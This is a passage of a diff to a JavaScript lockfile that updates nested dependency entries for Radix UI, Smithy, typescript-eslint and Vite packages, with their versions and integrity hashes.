+ "@radix-ui/react-dismissable-layer/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
+
+ "@radix-ui/react-dismissable-layer/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
+
+ "@radix-ui/react-dismissable-layer/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="],
"@radix-ui/react-dropdown-menu/@radix-ui/primitive": ["@radix-ui/primitive@1.1.0", "", {}, "sha512-4Z8dn6Upk0qk4P74xBhZ6Hd/w0mPEzOOLxy4xiPXOXqjF7jZS0VAKk7/x/H6FyY2zCkYJqePf1G5KmkmNJ4RBA=="],
@@ -5521,6 +5733,12 @@
"@radix-ui/react-dropdown-menu/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.1.0", "", { "dependencies": { "@radix-ui/react-use-callback-ref": "1.1.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-MtfMVJiSr2NjzS0Aa90NPTnvTSg6C/JLCV7ma0W6+OMV78vd8OyRpID+Ng9LxzsPbLeuBnWBA1Nq30AtBIDChw=="],
+ "@radix-ui/react-focus-scope/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
+
+ "@radix-ui/react-focus-scope/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
+
+ "@radix-ui/react-focus-scope/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="],
+
"@radix-ui/react-hover-card/@radix-ui/primitive": ["@radix-ui/primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-yQ8oGX2GVsEYMWGxcovu1uGWPCxV5BFfeeYxqPmuAzUyLT9qmaMXSAhXpb0WrspIeqYzdJpkh2vHModJPgRIaw=="],
"@radix-ui/react-hover-card/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
@@ -5567,8 +5785,6 @@
"@radix-ui/react-menu/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.1.0", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-CasTfvsy+frcFkbXtSJ2Zu9JHpN8TYKxkgJGWbjiZhFivxaeW7rMeZt7QELGVLaYVfFMsKHjb7Ak0nMEe+2Vfw=="],
- "@radix-ui/react-menu/react-remove-scroll": ["react-remove-scroll@2.5.5", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.3", "react-style-singleton": "^2.2.1", "tslib": "^2.1.0", "use-callback-ref": "^1.3.0", "use-sidecar": "^1.1.2" }, "peerDependencies": { "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw=="],
-
"@radix-ui/react-popover/@radix-ui/primitive": ["@radix-ui/primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-yQ8oGX2GVsEYMWGxcovu1uGWPCxV5BFfeeYxqPmuAzUyLT9qmaMXSAhXpb0WrspIeqYzdJpkh2vHModJPgRIaw=="],
"@radix-ui/react-popover/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
@@ -5591,8 +5807,6 @@
"@radix-ui/react-popover/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-use-callback-ref": "1.0.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-Svl5GY5FQeN758fWKrjM6Qb7asvXeiZltlT4U2gVfl8Gx5UAv2sMR0LWo8yhsIZh2oQ0eFdZ59aoOOMV7b47VA=="],
- "@radix-ui/react-popover/react-remove-scroll": ["react-remove-scroll@2.5.5", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.3", "react-style-singleton": "^2.2.1", "tslib": "^2.1.0", "use-callback-ref": "^1.3.0", "use-sidecar": "^1.1.2" }, "peerDependencies": { "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw=="],
-
"@radix-ui/react-popper/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
"@radix-ui/react-popper/@radix-ui/react-context": ["@radix-ui/react-context@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-ebbrdFoYTcuZ0v4wG5tedGnp9tzcV8awzsxYph7gXUyvnNLuTIcCk1q17JEbnVhXAKG9oX3KtchwiMIAYp9NLg=="],
@@ -5603,6 +5817,8 @@
"@radix-ui/react-popper/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ=="],
+ "@radix-ui/react-portal/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
+
"@radix-ui/react-presence/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fDSBgd44FKHa1FRMU59qBMPFcl2PZE+2nmqunj+BWFyYYjnhIDWL2ItDs3rrbJDQOtzt5nIebLCQc4QRfz6LJw=="],
"@radix-ui/react-presence/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ=="],
@@ -5621,10 +5837,16 @@
"@radix-ui/react-select/@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-fyjAACV62oPV925xFCrH8DR5xWhg9KYtJT4s3u54jxp+L/hbpTY2kIeEFFbFe+a/HCE94zGQMZLIpVTPVZDhaA=="],
+ "@radix-ui/react-select/@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw=="],
+
"@radix-ui/react-select/@radix-ui/react-popper": ["@radix-ui/react-popper@1.2.7", "", { "dependencies": { "@floating-ui/react-dom": "^2.0.0", "@radix-ui/react-arrow": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-layout-effect": "1.1.1", "@radix-ui/react-use-rect": "1.1.1", "@radix-ui/react-use-size": "1.1.1", "@radix-ui/rect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-IUFAccz1JyKcf/RjB552PlWwxjeCJB8/4KxT7EhBHOJM+mN7LdW+B3kacJXILm32xawcMMjb2i0cIZpo+f9kiQ=="],
+ "@radix-ui/react-select/@radix-ui/react-portal": ["@radix-ui/react-portal@1.1.9", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ=="],
+
"@radix-ui/react-select/@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ=="],
+ "@radix-ui/react-select/react-remove-scroll": ["react-remove-scroll@2.7.1", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.7", "react-style-singleton": "^2.2.3", "tslib": "^2.1.0", "use-callback-ref": "^1.3.3", "use-sidecar": "^1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-HpMh8+oahmIdOuS5aFKKY6Pyog+FNaZV/XyJOq7b4YFwsFHe5yYfdbIalI4k3vU2nSDql7YskmUseHsRrJqIPA=="],
+
"@radix-ui/react-slider/@radix-ui/react-use-previous": ["@radix-ui/react-use-previous@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ=="],
"@radix-ui/react-slider/@radix-ui/react-use-size": ["@radix-ui/react-use-size@1.1.1", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ=="],
@@ -5669,6 +5891,8 @@
"@radix-ui/react-toast/@radix-ui/react-visually-hidden": ["@radix-ui/react-visually-hidden@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-primitive": "1.0.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-D4w41yN5YRKtu464TLnByKzMDG/JlMPHtfZgQAu9v6mNakUqGUI9vUrfQKz8NK41VMm/xbZbh76NUTVtIYqOMA=="],
+ "@radix-ui/react-use-escape-keydown/@radix-ui/react-use-callback-ref": ["@radix-ui/react-use-callback-ref@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg=="],
+
"@radix-ui/react-use-size/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-v/5RegiJWYdoCvMnITBkNNx6bCj20fiaJnWtRkU18yITptraXjffz5Qbn05uOiQnOvi+dbkznkoaMltz1GnszQ=="],
"@rollup/plugin-babel/@rollup/pluginutils": ["@rollup/pluginutils@3.1.0", "", { "dependencies": { "@types/estree": "0.0.39", "estree-walker": "^1.0.1", "picomatch": "^2.2.2" }, "peerDependencies": { "rollup": "^1.20.0||^2.0.0" } }, "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg=="],
@@ -5681,45 +5905,21 @@
"@rollup/pluginutils/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
- "@smithy/abort-controller/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
-
"@smithy/credential-provider-imds/@smithy/node-config-provider": ["@smithy/node-config-provider@3.1.4", "", { "dependencies": { "@smithy/property-provider": "^3.1.3", "@smithy/shared-ini-file-loader": "^3.1.4", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-YvnElQy8HR4vDcAjoy7Xkx9YT8xZP4cBXcbJSgm/kxmiQu08DwUwj8rkGnyoJTpfl/3xYHH+d8zE+eHqoDCSdQ=="],
"@smithy/credential-provider-imds/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="],
"@smithy/credential-provider-imds/@smithy/url-parser": ["@smithy/url-parser@3.0.3", "", { "dependencies": { "@smithy/querystring-parser": "^3.0.3", "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-pw3VtZtX2rg+s6HMs6/+u9+hu6oY6U7IohGhVNnjbgKy86wcIsSZwgHrFR+t67Uyxvp4Xz3p3kGXXIpTNisq8A=="],
- "@smithy/eventstream-codec/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
-
- "@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
-
- "@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
-
- "@smithy/middleware-retry/uuid": ["uuid@9.0.1", "", { "bin": "dist/bin/uuid" }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="],
-
- "@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
-
- "@smithy/node-http-handler/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
-
- "@smithy/node-http-handler/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+ "@smithy/node-config-provider/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
"@smithy/property-provider/@smithy/types": ["@smithy/types@3.3.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-IxvBBCTFDHbVoK7zIxqA1ZOdc4QfM5HM7rGleCuHi7L1wnKv5Pn69xXJQ9hgxH60ZVygH9/JG0jRgtUncE3QUA=="],
- "@smithy/querystring-builder/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+ "@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
- "@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.2.11", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "tslib": "^2.6.2" } }, "sha512-lBXrS6ku0kTj3xLmsJW0WwqWbGQ6ueooYyp/1L9lkyT0M02C+DWwYwc5aTyXFbRaK38ojALxNixg+LxKSHZc0g=="],
- "@smithy/signature-v4/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
-
- "@smithy/util-defaults-mode-browser/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
-
- "@smithy/util-defaults-mode-node/@smithy/credential-provider-imds": ["@smithy/credential-provider-imds@4.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/url-parser": "^4.0.1", "tslib": "^2.6.2" } }, "sha512-l/qdInaDq1Zpznpmev/+52QomsJNZ3JkTl5yrTl02V6NBgJOQ4LY0SFw/8zsMwj3tLe8vqiIuwF6nxaEwgf6mg=="],
-
- "@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
-
- "@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="],
-
- "@smithy/util-waiter/@smithy/abort-controller": ["@smithy/abort-controller@4.0.4", "", { "dependencies": { "@smithy/types": "^4.3.1", "tslib": "^2.6.2" } }, "sha512-gJnEjZMvigPDQWHrW3oPrFhQtkrgqBkyjj3pCIdF3A5M6vsZODG93KNlfJprv6bp4245bdT32fsHK4kkH3KYDA=="],
+ "@smithy/util-defaults-mode-node/@smithy/property-provider": ["@smithy/property-provider@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg=="],
"@surma/rollup-plugin-off-main-thread/magic-string": ["magic-string@0.25.9", "", { "dependencies": { "sourcemap-codec": "^1.4.8" } }, "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ=="],
@@ -5737,12 +5937,22 @@
"@types/winston/winston": ["winston@3.11.0", "", { "dependencies": { "@colors/colors": "^1.6.0", "@dabh/diagnostics": "^2.0.2", "async": "^3.2.3", "is-stream": "^2.0.0", "logform": "^2.4.0", "one-time": "^1.0.0", "readable-stream": "^3.4.0", "safe-stable-stringify": "^2.3.1", "stack-trace": "0.0.x", "triple-beam": "^1.3.0", "winston-transport": "^4.5.0" } }, "sha512-L3yR6/MzZAOl0DsysUXHVjOwv8mKZ71TrA/41EIduGpOOV5LQVodqN+QdQ6BS6PJ/RdIshZhq84P/fStEZkk7g=="],
+ "@types/ws/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
+
+ "@typescript-eslint/parser/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "@typescript-eslint/type-utils/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "@typescript-eslint/typescript-estree/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
"@typescript-eslint/typescript-estree/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
"@typescript-eslint/typescript-estree/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"@typescript-eslint/visitor-keys/eslint-visitor-keys": ["eslint-visitor-keys@4.2.0", "", {}, "sha512-UyLnSehNt62FFhSwjZlHmeokpRK59rcz29j+F1/aDgbkbRTk7wIc9XzdoasMUbRNKDM0qQt/+BJ4BrpFeABemw=="],
+ "@vitejs/plugin-react/@babel/core": ["@babel/core@7.29.0", "", { "dependencies": { "@babel/code-frame": "^7.29.0", "@babel/generator": "^7.29.0", "@babel/helper-compilation-targets": "^7.28.6", "@babel/helper-module-transforms": "^7.28.6", "@babel/helpers": "^7.28.6", "@babel/parser": "^7.29.0", "@babel/template": "^7.28.6", "@babel/traverse": "^7.29.0", "@babel/types": "^7.29.0", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA=="],
+
"accepts/negotiator": ["negotiator@1.0.0", "", {}, "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg=="],
